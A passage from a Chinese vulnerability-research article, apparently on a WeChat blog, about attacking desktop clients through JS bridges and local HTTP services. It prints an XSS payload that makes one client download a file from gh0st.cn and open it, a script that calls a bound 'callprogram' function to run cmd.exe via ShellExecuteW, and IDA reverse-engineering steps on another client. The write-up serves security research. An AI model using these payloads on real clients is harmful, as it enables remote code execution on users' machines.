none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">2.拼接文件路径，打开文件：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">b.open(a.<span class="code-snippet__keyword">require</span>(<span class="code-snippet__string">&#34;System&#34;</span>).userDataPath + <span class="code-snippet__string">&#34;/null/test.txt&#34;</span>);</span></code></pre></section><p data-sourcepos="142:1-142:181" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">3.最终Exploit：<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;&gt;&lt;svg onload=&#39;var a = ZxDesktop;var b = a.require(&#34;</span>File<span class="code-snippet__string">&#34;);b.save({&#34;</span>url<span class="code-snippet__string">&#34;: &#34;</span><span class="code-snippet__symbol">http:</span>/<span class="code-snippet__regexp">/gh0st.cn:81/test</span>.txt<span class="code-snippet__string">&#34;,&#34;</span>name<span class="code-snippet__string">&#34;: &#34;</span>test.txt<span class="code-snippet__string">&#34;,&#34;</span>path<span class="code-snippet__string">&#34;: &#34;</span><span class="code-snippet__string">&#34;,&#34;</span>chunkSize<span class="code-snippet__string">&#34;: &#34;</span><span class="code-snippet__string">&#34;,&#34;</span>size<span class="code-snippet__string">&#34;: &#34;</span><span class="code-snippet__string">&#34;,&#34;</span>fileData<span class="code-snippet__string">&#34;: &#34;</span><span class="code-snippet__string">&#34;});b.open(a.require(&#34;</span>System<span class="code-snippet__string">&#34;).dbPath + &#34;</span>/null/test.txt<span class="code-snippet__string">&#34;);&#39;&gt;</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004652" data-ratio="0.7236842105263158" data-s="300,640" style="" data-type="png" data-w="760" src="https://wechat2rss.xlab.app/img-proxy/?k=c536266d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgmVxBTGZ1mJqHBVfaJH8PIDzUkpBYwQErhHEYSSxHond54SKybHSytg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h5 data-sourcepos="204:1-204:30" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 0.875em;font-weight: 600;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">某运维平台客户端</h5><p data-sourcepos="206:1-206:196" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">在某运维平台客户端中，我们发现可以通过伪协议链接（<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">xxx://webview/?url=<a href="http://xxxx" target="_blank">http://xxxx</a></code>）来达到端内任意页面加载，这也就表示我们可以执行任意JS代码。</p><p data-sourcepos="208:1-208:119" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">根据加载的DLL文件得知，其所依赖的前端页面渲染是开源项目Wke。</p><p data-sourcepos="142:1-142:181" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">在源代码</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">wke/jsBind.cpp</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">中，发现wkeJSBindFunction方法提供了JSBridge的功能，将JavaScript函数绑定到C++中一个本地函数。<br/></span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004653" data-ratio="0.36511627906976746" data-s="300,640" style="" data-type="png" data-w="860" src="https://wechat2rss.xlab.app/img-proxy/?k=1f25045d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgnwqjsX8gthslarIQFZGWUWKPqCwRbQDFKCozlMRgkTYdPyIOgSUsJw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="214:1-214:238" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">基于IDA分析得知，目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示，其将C++某个函数地址，与名为callprogram的JavaScript函数进行绑定，我们可以直接在JS代码中调用。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004654" data-ratio="0.2961038961038961" data-s="300,640" style="" data-type="png" data-w="770" src="https://wechat2rss.xlab.app/img-proxy/?k=b4ef1812&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgZTEpFSsibwG4MZT4ZqmU24tOZbRNbwsHp4UNLJutOX0hbQOwbeVb4ww%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="218:1-218:274" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">跟进对应的C++函数，我们发现它会通过wkeJSParam获取参数，再通过JSToTempStringW获取字符串形式的参数值，最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">ShellExecuteW(0, &#34;open&#34;, 参数1, 参数2, 0, 1)</code>。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004655" data-ratio="0.16018306636155608" data-s="300,640" style="" data-type="png" data-w="874" src="https://wechat2rss.xlab.app/img-proxy/?k=0ae8cf7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgaia99oRuOMRqTQaqY94ZZZWVyFIEzA6ywzhNIrP99f4I12ibFn4XSfSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>因此我们可以构建如下的Exploit代码，并通过伪协议的方式使目标可以打开包含Exp代码的网页：<br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">script</span>&gt;</span>callprogram(<span class="code-snippet__string">&#34;C:/Windows/System32/cmd.exe&#34;</span>, <span class="code-snippet__string">&#34;/c calc&#34;</span>);<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">script</span>&gt;</span></span></code></pre></section><h4 data-sourcepos="228:1-228:23" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 16px;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">传统类客户端</h4><p data-sourcepos="230:1-230:161" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">传统类客户端，我的定义是基于C/C++写的一些传统应用，如VPN客户端、视频软件、远程控制软件等偏生活、日常类的应用。</p><h5 data-sourcepos="233:1-233:36" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 0.875em;font-weight: 600;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;color: rgb(0, 0, 0);visibility: hidden;"></span>某远程服务平台客户端</h5><p data-sourcepos="235:1-235:264" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">在拿到一个客户端程序时，第一步是安装，第二步则应该是先大致去了解该程序的一些目录结构、运行环境等信息，这样我们在接下来的漏洞挖掘中才会有更多的信息来进行关联，辅助我们挖掘漏洞。</p><p data-sourcepos="237:1-237:333" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">如下图所示，安装完某远程服务平台客户端后，我通过火绒剑逐个查看对应的进程信息，在TCP/IP窗口中看见当前进程的网络通信或监听信息。如下图所示就是<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">UserClient.exe</code>进程当前的网络通信信息，我们可以看到它在本地监听了两个端口：<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">38227</code>、<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">38230</code>。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004656" data-ratio="0.2691588785046729" data-s="300,640" style="" data-type="png" data-w="1070" src="https://wechat2rss.xlab.app/img-proxy/?k=302fadc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgBEHrzYTibgotNutDXZoYomN9ZiaDD2OHKAk8p32EhYwXTibUbs9uibYyRw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="241:1-241:141" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">它的协议都是TCP，我们可以尝试使用HTTP的方式去访问，结果显示<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">38230</code>端口可以以HTTP协议的方式进行访问。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004657" data-ratio="0.13425925925925927" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=def21468&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgfcf30rtwqKUQEmiaAibmFLLLHKvHaiaFYvef1RUrZTJohAvPjlxk8hzpg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="245:1-245:148" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">我们可以选取响应报文中的<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">bangwo8client</code>字符串在IDA的Strings窗口中进行搜索，通过这样的方式来进行逻辑的回溯。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004658" data-ratio="0.3743455497382199" data-s="300,640" style="" data-type="png" data-w="764" src="https://wechat2rss.xlab.app/img-proxy/?k=53d7b3a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgtuSUIds7iaHicNdaNo0e7h6ib8vpubDR3NMqtRSXyiaaIG273lgGcEQmrw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="249:1-249:219" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">双击进入字符串所在的<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">.RDATA</code>节，我们就可以看到该字符串对应的交叉引用，那么接下来我们的工作就是<strong style="box-sizing: border-box;font-weight: 600;color: rgb(0, 0, 0);">进入这些函数看具体实现是否对的上响应报文的主体内容</strong>。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004659" data-ratio="0.10925925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e5e2750c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgkppCuakg7nHe2u54j94MU8pI15WLerLWRaicfGNlqyFibwCfXZdviaBSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="256:1-256:352" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">我们进入一个函数查看，会发现在函数的头部代码中有如下这么一段内容，它的逻辑似乎就对应了HTTP响应报文的主体返回，通过字符串的对应我们能大致知道<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">sub_487760</code>函数的作用就是为了将字符串解析到JSON格式中，然后再通过其他函数拼接JSON的字段内容给到<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">Block</code>。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004660" data-ratio="0.575925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e2eecf53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgyurTiaiahslibic7MxsibiayKbSMWJpqxJm7kicCxa2goC9JVcx4u5Lvfryxg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="260:1-260:197" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">除了我们跟进的这个函数外其他的函数逻辑都大致一样，并且我们通过IDA插件<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">CTO</code>查看调用关系，发现这些函数最终都是被同一个函数<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">sub_674090</code>调用。</p><p data-sourcepos="260:1-260:197" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004665" data-ratio="0.23055555555555557" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=36df2eae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgjbfWMdBicicUbMoGN333FlzGvy0hGcMO5SFTpPgt0qRJ2h9xY6hY1N1w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="260:1-260:197" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">那我们再继续跟进函数</span><code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">sub_674090</code><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">，函数的逻辑就是根据不同的URI进入不同的函数处理，也就表示着这里就是HTTP请求逻辑处理的入口位置。<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004666" data-ratio="1.9925925925925927" data-s="300,640" style="" data-type="png" data-w="1080" 